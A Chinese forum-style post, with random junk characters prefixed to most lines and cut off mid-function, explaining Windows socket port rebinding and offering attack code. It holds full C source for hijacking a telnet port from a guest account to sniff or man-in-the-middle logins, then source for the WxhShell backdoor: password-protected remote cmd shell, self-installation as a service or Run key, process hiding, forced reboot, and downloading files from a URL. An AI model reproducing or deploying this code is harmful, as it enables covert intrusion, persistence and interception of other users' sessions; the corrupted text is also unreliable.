在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
@twClk.s s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Sf)VQ5U!Y ,.uPlnB_ saddr.sin_family = AF_INET;
CC>]Gc7 wg*2mo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
},'2j hof:+aW bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ajW[}/) _.OajE\T 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^'~+ w3M@ }}v;V*_V 这意味着什么?意味着可以进行如下的攻击:
[|\~-6"7N| 8|`4D 'Ln 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qde.;Yv9 XFPWW , 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DGTSk9iK( 1_!*R]a q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
:~pPB#)nk pUWj,&t 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Zycu3%JI z)r)w?A 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
bH&Cbme90- w3c[t~R8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
DJ;G0* INsc!xOQ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
e;56}w h84}lxT^] #include
_pM&Ya #include
C$xU!9K[+ #include
_gjsAbM #include
e7ixi^Q DWORD WINAPI ClientThread(LPVOID lpParam);
rE-Xv.
| int main()
CEE`nn {
utC]GiR WORD wVersionRequested;
;-47d ^ DWORD ret;
h&||Ql1 WSADATA wsaData;
impzqQlZ, BOOL val;
S,EXc^A7 SOCKADDR_IN saddr;
it!8+hvq9* SOCKADDR_IN scaddr;
16[>af0<g int err;
0 }k[s+^ SOCKET s;
ig]*Z SOCKET sc;
`AeId/A4n int caddsize;
`(<XdlOj HANDLE mt;
u<./ddC DWORD tid;
9. Q;J#;1 wVersionRequested = MAKEWORD( 2, 2 );
G:$wdT(u err = WSAStartup( wVersionRequested, &wsaData );
Iu^#+n if ( err != 0 ) {
6|t4\' printf("error!WSAStartup failed!\n");
BCk$FM@ return -1;
iVzv/Lqm1 }
nk]jIRy^T saddr.sin_family = AF_INET;
Z+@" 2P~zYdjS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
@!&\Z[", \aQBzEX saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
]L%qfy4 saddr.sin_port = htons(23);
&C<B=T"I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
|_8-3 {
,2/qQD n/ printf("error!socket failed!\n");
a1B_w#?8 return -1;
y iE[^2Pv }
FJgr=9> val = TRUE;
&Jv j@,>$d //SO_REUSEADDR选项就是可以实现端口重绑定的
|f&)@fUI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
.R;HH_ {
6+A<_r`#Q printf("error!setsockopt failed!\n");
8*I43Jtlf, return -1;
?h"+q8& }
Xz&Hfs"/J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
&!vJ3: //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
kN>%y&cK //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
c%r?tKG6 )V%xbDd S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(Sr&Y1D {
+.whEw(i ret=GetLastError();
z_~f/ printf("error!bind failed!\n");
&i4*tE3], return -1;
Gvw4ot/ }
~mx me6"v listen(s,2);
Ey=(B'A~ while(1)
M2_sxibI {
u{yENZ^P caddsize = sizeof(scaddr);
[
/w{,+U //接受连接请求
hS}?"ST| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
A!No:?S if(sc!=INVALID_SOCKET)
}:7'C. ." {
RxY
;'NY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-mOSB(#bo if(mt==NULL)
A9ia[2[ {
+^YXqOXU printf("Thread Creat Failed!\n");
E!&A[TlX\ break;
-bu.Ar-#;h }
=0TnH<` }
mS5'q q;t CloseHandle(mt);
DcE)6z# }
e)LRD&Q closesocket(s);
q3adhY9|)0 WSACleanup();
?Ko)AP return 0;
:t-a;Q; }
|g M|> DWORD WINAPI ClientThread(LPVOID lpParam)
$]Kgs6=r {
Ol6jx%Je` SOCKET ss = (SOCKET)lpParam;
os|8/[gT SOCKET sc;
)4>M<BO unsigned char buf[4096];
/Pv
d[oF SOCKADDR_IN saddr;
n]?Yv E long num;
AHc:6v^ DWORD val;
RiqYC3Ka DWORD ret;
9&fS<Hk //如果是隐藏端口应用的话,可以在此处加一些判断
A(2_hl- //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'8K5=|!J saddr.sin_family = AF_INET;
i,1=5@rw5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
~+}w>jIm{| saddr.sin_port = htons(23);
S#6{4x4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Fxdu)F,~u {
qk;*$Q printf("error!socket failed!\n");
u+UtvzUC return -1;
b}< T< }
@H2c77% val = 100;
q`_d>l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
je@F:5 {
F]DRT6) ret = GetLastError();
W~(@*H return -1;
7Vd"k;:X }
8TGO6oY+= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VTQ V]>| {
UjxEbk5>^ ret = GetLastError();
5[}3j1 return -1;
Osncl5PD) }
sS(t
}$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&NZl_7PL {
yoiKt;
S printf("error!socket connect failed!\n");
0YK`wuZGS closesocket(sc);
nXPl\|pXt closesocket(ss);
IV*@}~BJ return -1;
nf=*KS\v }
9o5W\.A7[D while(1)
%Z9&z mO {
.'N:]G@! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{\z&`yD@ //如果是嗅探内容的话,可以再此处进行内容分析和记录
|C}n]{*| //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
07 [%RG num = recv(ss,buf,4096,0);
i3#To}g5V if(num>0)
idW= send(sc,buf,num,0);
b5K6F:D22 else if(num==0)
!=%0 break;
)rcFBD{vM num = recv(sc,buf,4096,0);
\JmfQrBQ if(num>0)
)a"rj5~- send(ss,buf,num,0);
.XDY1~w0 else if(num==0)
%;ZWYj`]n break;
w/_n$hX }
FN jT?* closesocket(ss);
Cq\1t closesocket(sc);
!wP|t#Sc9 return 0 ;
hbl%<ItI49 }
(1pI#H"f9 /Iht,@%E \1|]?ZQ\ K ==========================================================
0qP&hybL[( OiBDI3,|+ 下边附上一个代码,,WXhSHELL
RO.GD$ 3n z\64Qpfm ==========================================================
r*?rwtFtg Mx?]7tI #include "stdafx.h"
y.,S}7l: GVS-_KP\ #include <stdio.h>
-+MGs]), #include <string.h>
EC9D.afy& #include <windows.h>
#m>Rt~(,S #include <winsock2.h>
T}')QC&wQ #include <winsvc.h>
~DY5`jV #include <urlmon.h>
d'j8P @;>i3? #pragma comment (lib, "Ws2_32.lib")
:eIPPh|\ #pragma comment (lib, "urlmon.lib")
&XG k kkWqP20q #define MAX_USER 100 // 最大客户端连接数
1K(a=o[Ce #define BUF_SOCK 200 // sock buffer
S}fU2Wi #define KEY_BUFF 255 // 输入 buffer
&G63ReW7 @ "s-e)svB #define REBOOT 0 // 重启
MtE18m"z #define SHUTDOWN 1 // 关机
9gjI;*(z1 _<Hx1l~ #define DEF_PORT 5000 // 监听端口
R}~p1=D WH:[Y7D #define REG_LEN 16 // 注册表键长度
fpMnA #define SVC_LEN 80 // NT服务名长度
&qR1fbw" epz'GN]V // 从dll定义API
85;hs typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
"F_o%!l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>R|*FYam typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
?Q$LIoR typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
MYVUOd, CR*9-Y93 // wxhshell配置信息
nq'vq]] struct WSCFG {
$#Mew:J int ws_port; // 监听端口
lo }[o0X char ws_passstr[REG_LEN]; // 口令
aFkxR\x
6% int ws_autoins; // 安装标记, 1=yes 0=no
'vgO` char ws_regname[REG_LEN]; // 注册表键名
Y>OL2g char ws_svcname[REG_LEN]; // 服务名
TWv${m zE char ws_svcdisp[SVC_LEN]; // 服务显示名
qg7]
YT& char ws_svcdesc[SVC_LEN]; // 服务描述信息
i?7%z` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
iEDZ\\, int ws_downexe; // 下载执行标记, 1=yes 0=no
TmN}TMhZ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,H{
/@|RW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
j
s(E-d/ 9&'I?D&8 };
^RN1?dXA DNgQ.lV // default Wxhshell configuration
ETu7G5? struct WSCFG wscfg={DEF_PORT,
P\ yt!S2 "xuhuanlingzhe",
\L#BAB6z 1,
j/zD`ydj "Wxhshell",
IBwquw+ "Wxhshell",
a
S-
rng "WxhShell Service",
>40B
Fxc "Wrsky Windows CmdShell Service",
-Q@jL{Ue "Please Input Your Password: ",
`I$qMw,@ 1,
`1%SXP1 "
http://www.wrsky.com/wxhshell.exe",
7R\!'`]\M "Wxhshell.exe"
ht^U VV2 };
l<<G".? 0/.#V*KM // 消息定义模块
B0c} 5V char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-_jV.`t char *msg_ws_prompt="\n\r? for help\n\r#>";
$XS0:C0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}@'xEx char *msg_ws_ext="\n\rExit.";
>J=x";,D|~ char *msg_ws_end="\n\rQuit.";
`
n{rzenPX char *msg_ws_boot="\n\rReboot...";
1{ #Xa= char *msg_ws_poff="\n\rShutdown...";
KmV>tn BQ char *msg_ws_down="\n\rSave to ";
$"{V],:T
| v)JQb-< char *msg_ws_err="\n\rErr!";
3&*0n^g char *msg_ws_ok="\n\rOK!";
vg5zsR0u _lQ+J=J$.R char ExeFile[MAX_PATH];
QnxkD)f*0 int nUser = 0;
"xdJ9Z-B HANDLE handles[MAX_USER];
U]sU
b3 int OsIsNt;
v\Y;)/! o*n""m SERVICE_STATUS serviceStatus;
v >3ctP{ SERVICE_STATUS_HANDLE hServiceStatusHandle;
~4}m'#! )<.S3 // 函数声明
}jd[>zk int Install(void);
if5Y!Tx?G int Uninstall(void);
$#4z>~0 int DownloadFile(char *sURL, SOCKET wsh);
hZlajky int Boot(int flag);
:&)RK~1m_ void HideProc(void);
UO"8 I2rB int GetOsVer(void);
u\qyh9s int Wxhshell(SOCKET wsl);
B4R,[WE" void TalkWithClient(void *cs);
3:Co K# int CmdShell(SOCKET sock);
Op3 IL/ int StartFromService(void);
nE-=7S L int StartWxhshell(LPSTR lpCmdLine);
any\}
6X|KKsPzX VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
8Z3+S)6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
D~f.)kkC4 =|3L'cDC // 数据结构和表定义
6lT'%ho}B SERVICE_TABLE_ENTRY DispatchTable[] =
qC\$>QU} {
4d] {wscfg.ws_svcname, NTServiceMain},
$Z28nPd/ {NULL, NULL}
ip5s'S~ };
^J%
w[FE >Dtw^1i // 自我安装
p'w[5' int Install(void)
D'nV
&m {
J"83S*2(j char svExeFile[MAX_PATH];
T!a8c<'V HKEY key;
BK /;HG strcpy(svExeFile,ExeFile);
[\.>BK *<0g/AL // 如果是win9x系统,修改注册表设为自启动
*E.
2R{ if(!OsIsNt) {
Ck^= H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
e1/|PgT(KM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v<c Hx/ RegCloseKey(key);
LB{a&I LG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nVM`&azD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}E1Eq RegCloseKey(key);
50R+D0^mh return 0;
W@S9}+wl* }
sN?:9J8
}
YJL=|v }
X1'Ze,34 else {
ud#8`/!mq h`GV[Oo : // 如果是NT以上系统,安装为系统服务
O0{v`|w9+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
RCX4;,DHx if (schSCManager!=0)
B+Bv(p {
Z\7bp&& SC_HANDLE schService = CreateService
rFK
* (
C4cg,>P7 schSCManager,
PQ(%5c1e wscfg.ws_svcname,
*|3z($*U] wscfg.ws_svcdisp,
v4.V%tg! SERVICE_ALL_ACCESS,
Q?;ntzi SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}N|/b"j9 SERVICE_AUTO_START,
0ND7F SERVICE_ERROR_NORMAL,
O0l;Qi svExeFile,
v}mmY>M% NULL,
c]&VUWQ NULL,
W2B=%`sC NULL,
*Xnq1_K} NULL,
?-Z:N`YP NULL
KWH );
Arv8P
P^' if (schService!=0)
!'MD8 {
nc{<v CloseServiceHandle(schService);
sI'HS+~pU CloseServiceHandle(schSCManager);
Y'~&%|9+T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"O
'I strcat(svExeFile,wscfg.ws_svcname);
;C<A} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
SYwNx">Bq RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;(,Fe/wvC RegCloseKey(key);
aRwBxf return 0;
'ng/A4 }
vJ'
93h }
LYFvzw>M CloseServiceHandle(schSCManager);
-XyuA:pxx }
H}~^,B2; }
OE"Bb *Wa u7 return 1;
M:$nL }
}.vy|^X s#fmGe"8 // 自我卸载
9|m L int Uninstall(void)
X[ (J!"+ {
]]ZBG<# HKEY key;
5~F0'tb|} !R@4tSu if(!OsIsNt) {
f*~fslY,o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ye6O!,R RegDeleteValue(key,wscfg.ws_regname);
*~L]n4- RegCloseKey(key);
t*#&y:RG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I$LO0avvH2 RegDeleteValue(key,wscfg.ws_regname);
jY.%~Y1y RegCloseKey(key);
Sx"I]N return 0;
BSf"'0I& }
[ub\DLl }
\nWpV7TSN }
p'4P2 else {
A&'%ou &O,$l3 P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ZB%~> if (schSCManager!=0)
T1&H! {
:JIPF=]fc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*ZGN!0/ if (schService!=0)
0}V'\=F454 {
y<b0z\ if(DeleteService(schService)!=0) {
'1
$ ({{R CloseServiceHandle(schService);
}"Cn kg CloseServiceHandle(schSCManager);
v],DBw9 return 0;
6zWvd }
-EaZ<d[|0 CloseServiceHandle(schService);
Hv\*F51p= }
Y ckbc6F CloseServiceHandle(schSCManager);
eV0S:mit }
{[?|RC;\Y }
{
9$Q|XK O2dgdtm return 1;
:bDA<B6bb }
S/;Y4o 4vS!99v) // 从指定url下载文件
zY+Et.lg]^ int DownloadFile(char *sURL, SOCKET wsh)
3(&F.&C$$ {
EYG E#C;
d HRESULT hr;
B_2>Yt" char seps[]= "/";
ZtoE=7K char *token;
du,-]fF char *file;
y9hZ2iT char myURL[MAX_PATH];
w#,v n8 char myFILE[MAX_PATH];
BaAb4{ :nUsC+oBS strcpy(myURL,sURL);
bicL%I2h token=strtok(myURL,seps);
F w m:c[G while(token!=NULL)
I "2FTGA {
$"{3i8$3mT file=token;
Q%2Lyt"( token=strtok(NULL,seps);
z:5ROlk0 }
G{~p.?f: ooSd6;' GetCurrentDirectory(MAX_PATH,myFILE);
z]AS@}wWqg strcat(myFILE, "\\");
@\8gzvkt strcat(myFILE, file);
A#:
c send(wsh,myFILE,strlen(myFILE),0);
mU$7_7V~ send(wsh,"...",3,0);
8v
1%H8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Z-a(3& if(hr==S_OK)
yZ$;O0f&& return 0;
?/MXcI( else
~[q:y|3b return 1;
gDNW~?/ 66^t[[ }
^)l@7XxD S(h*\we // 系统电源模块
)\Q|}JV int Boot(int flag)
;_5
=g {
b'5pQ2Mq HANDLE hToken;
9z/_`Xd_ TOKEN_PRIVILEGES tkp;
/exl9Ilt] F|`B2Gr if(OsIsNt) {
SkRQFm0a~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ldvxYq<: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
k.[) R@0% tkp.PrivilegeCount = 1;
Bjj^!T/# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
P.Z<b:V! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'TsZuZW] if(flag==REBOOT) {
H)aC'M^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@zF:{=+]+ return 0;
u!k<sd_8B }
72vGfT2HtZ else {
=e-aZ0P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
x>"JWD return 0;
TbAdTmW }
HCkqh4 }
$!!=fFX*y else {
[<a%\:c m4 if(flag==REBOOT) {
c.A/{a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
b\m(0/x return 0;
%]$p ^m }
@SG"t,5s else {
+u:OAsR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
"gajBY return 0;
'/gwC7*-& }
hcc-J)=m }
N/{Yi
_n dS_)ll.6z return 1;
{59VS
Nl }
Mv`L F L9?/ -@M // win9x进程隐藏模块
2X c void HideProc(void)
)TG0m= * {
tF g'RV{ B5H&DqWzr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
1\{U<Oli if ( hKernel != NULL )
q.sQ Z]ty9 {
Bp{`%86SE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~2DV{dyj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
a;T[%'in FreeLibrary(hKernel);
y{I[}$k }
8 E+C:" yxWMatZ2 return;
=,8Eo"~\ }
b<V./rWIB nEcd+7( // 获取操作系统版本
@&xaaqQ- int GetOsVer(void)
L0|hc {
c1A G3Nb OSVERSIONINFO winfo;
-Dq:Y,%q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
q;0&idYC GetVersionEx(&winfo);
9f%y)[ \ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O0(Q0Ko return 1;
F@'rP++4 else
^zPEAXm return 0;
(yAvDyJOn }
o"}&qA; n.XhK_6n]M // 客户端句柄模块
4J
51i*` int Wxhshell(SOCKET wsl)
dtnet_j {
CC(*zrOd- SOCKET wsh;
S{(p<%)[ struct sockaddr_in client;
q(tGbhQ DWORD myID;
!a&SB*%^I3 fQy
C6C while(nUser<MAX_USER)
g_U~.?Db7 {
S O:V|Tfj int nSize=sizeof(client);
^N2M/B|0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
BS,5W]ervE if(wsh==INVALID_SOCKET) return 1;
,ibPSN5Ca ssyd8LC# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
o),6o'w( if(handles[nUser]==0)
1mVVPt^6 closesocket(wsh);
FJ(B]n[> else
oYh<k nUser++;
[+MX$y }
Xz.Y-5) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"3i80R\w`F _X2EBpZp return 0;
-llx: }
t-7U1B}=<C @-&(TRbZo // 关闭 socket
w Al}:|+n void CloseIt(SOCKET wsh)
uGUv~bE {
hKZ`DB4 closesocket(wsh);
,WB_C\.#XN nUser--;
Z-h7 ExitThread(0);
M |({
4C }
Ph+X{| it\DZGsg // 客户端请求句柄
D_n}p8blT void TalkWithClient(void *cs)
ZAX0n!db3 {
6(J4IzZ euj8p:+X SOCKET wsh=(SOCKET)cs;
T<f\*1~^ char pwd[SVC_LEN];
xBRh!w char cmd[KEY_BUFF];
{`H<=h__ char chr[1];
M9s43XL(& int i,j;
I' ! r $ ~,}yh; while (nUser < MAX_USER) {
pPyvR;NJ Q-8'?S if(wscfg.ws_passstr) {
3 IWLBc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'-PMF~~S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)o9Q5Lq //ZeroMemory(pwd,KEY_BUFF);
:K^gu%,&$ i=0;
v"~Do+*+ while(i<SVC_LEN) {
K4k~r!&OU `e $n$Bh // 设置超时
~3bZ+*H> fd_set FdRead;
h^A3 0f_x struct timeval TimeOut;
pFJQ7Jlx FD_ZERO(&FdRead);
) Kc%8hBv FD_SET(wsh,&FdRead);
*m$PH"
TimeOut.tv_sec=8;
MZ5Y\-nq\ TimeOut.tv_usec=0;
6
tc:A5mK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S~k*r{?H}) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Cx+WLD 7Y32p' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?AnjD8i pwd
=chr[0]; 2<'`^AO@
if(chr[0]==0xd || chr[0]==0xa) { e`Co,>W/
pwd=0; ^}o7*
break; %-#
qO
} SY'2A)
i++; x*h?%egB!p
} j1puB
-Aa]aDAz68
// 如果是非法用户,关闭 socket /Fe:h>6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !.3R~0b
} % Cu.u)/+
WGh. ;-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z6Nj<2u2
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
(A29ZH
-!J2x8Ri
while(1) { W}XYmF*_?
6P~aW
ZeroMemory(cmd,KEY_BUFF); gwSN>oj
&
/Fv/oY
// 自动支持客户端 telnet标准 0%s3Mp6H
j=0; dU]i-NF
while(j<KEY_BUFF) { K4! P'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P3iA(3I24<
cmd[j]=chr[0]; 4l&"]9D
if(chr[0]==0xa || chr[0]==0xd) { gEv-> pc
cmd[j]=0; *me,(C
break; xMDrE?
} *O@sh
j++; a`H\-G
} ?fK^&6pI
FXx.$W
// 下载文件 q*6q}s3n
if(strstr(cmd,"http://")) { PSTu /^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t`"^7YFS>
if(DownloadFile(cmd,wsh)) -@''[m .*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-$!:W~
else Z-)[1+Hs
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K8?zgRG3~N
} KNg8HYFW\
else { 2Co@+I[,4&
j2|XDOf
switch(cmd[0]) { `gBD_0<T7
_QR
g7
// 帮助 ]7a;jNQu
case '?': { [6D>f?z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FU%~9NKX
break; 3p=vz'
} rdO@X9z
// 安装 *FV0Vy
case 'i': { )ll?-FZ
if(Install()) )`w=qCn1 Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _6;<ow
else *B0V<mV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4s9c#nVlu
break; YgCc|W3{
} $v]T8|h
// 卸载 o2DtCU-A
case 'r': { nV'3sUvR#
if(Uninstall()) [#p&D~Du&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >DL/..
else
jm[}M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {G]?{c)"
break; Qi_&aU$>lM
} {|s/]W
// 显示 wxhshell 所在路径 >):m-I
case 'p': { \}Dpb%^\
char svExeFile[MAX_PATH]; D%-{q>F!gf
strcpy(svExeFile,"\n\r"); tqK=\{U
strcat(svExeFile,ExeFile); D9~}5
send(wsh,svExeFile,strlen(svExeFile),0); kLJlS,nh\r
break; wG+=}1X
} o]A XT8
// 重启 ;Xqn-R
case 'b': { d7* CwY9"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yi 6Nw+$
if(Boot(REBOOT)) [4p=X=B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Akd8}nf~
else { `)6>nPr7P
closesocket(wsh); ?cJY
B)
ExitThread(0); Z|
We9%
} !Cw!+fZ\l
break; *vYn_wE
} MSl&?}Bj
// 关机 [OzzL\)3l
case 'd': { +P|2m"UA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d/S+(<g
if(Boot(SHUTDOWN)) +semfZ)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rj 3YTu`
else { S_2"7
closesocket(wsh); (#$$nQj
ExitThread(0); F"'n4|q4n
} e&0NK8+
break; .)7:=
} LP9)zi
// 获取shell -ui<E?v
case 's': { .]P2}w)x?
CmdShell(wsh); &'s^nn]
closesocket(wsh); 8V-,Xig;`
ExitThread(0); $Z ]z
break; >B_n/v3P(M
} #|Oj]bd(=
// 退出 nd:E9:
case 'x': { #zt*xS[{0
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,^ 7 CP
CloseIt(wsh); zie=2
break; <W*xshn
} g` [` P@
// 离开 7S<UFj
case 'q': { OEnDsIhq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); W5.Va.
closesocket(wsh); dAL3. %
WSACleanup(); ! RPb|1Y}+
exit(1); 9${Xer'
break; \3aTaT?..
} Ql &0O27
} `4V"s-T'
} ^/dS>_gtHv
\tx%WC
// 提示信息 0I5&a
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'tm$q/&
} g6%Z)5D]!
} QL97WK\$
;wR 'z$8
return; +{$QAjW(/
} \3zp)J
rQJ"&CapT
// shell模块句柄 K"\MU
int CmdShell(SOCKET sock) 6):Xzx,
{ f@@s1gdb
STARTUPINFO si; y\'P3ihK
ZeroMemory(&si,sizeof(si)); \~#WY5
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EB!daZH,
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (?3[3w~
PROCESS_INFORMATION ProcessInfo; X3wX`V}
char cmdline[]="cmd"; 'e@=^FC
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _dU8'H
return 0; 26L~X[F
} MR$>!Nlp
O>c$sL0g
// 自身启动模式 zE|Wn3_sd
int StartFromService(void) c2 *`2qK#
{ j1q[c,
typedef struct /YH`4e5g
{ mI7~c;~
DWORD ExitStatus; [A9JshMo
DWORD PebBaseAddress; O'$K],=BS
DWORD AffinityMask; aXY-><
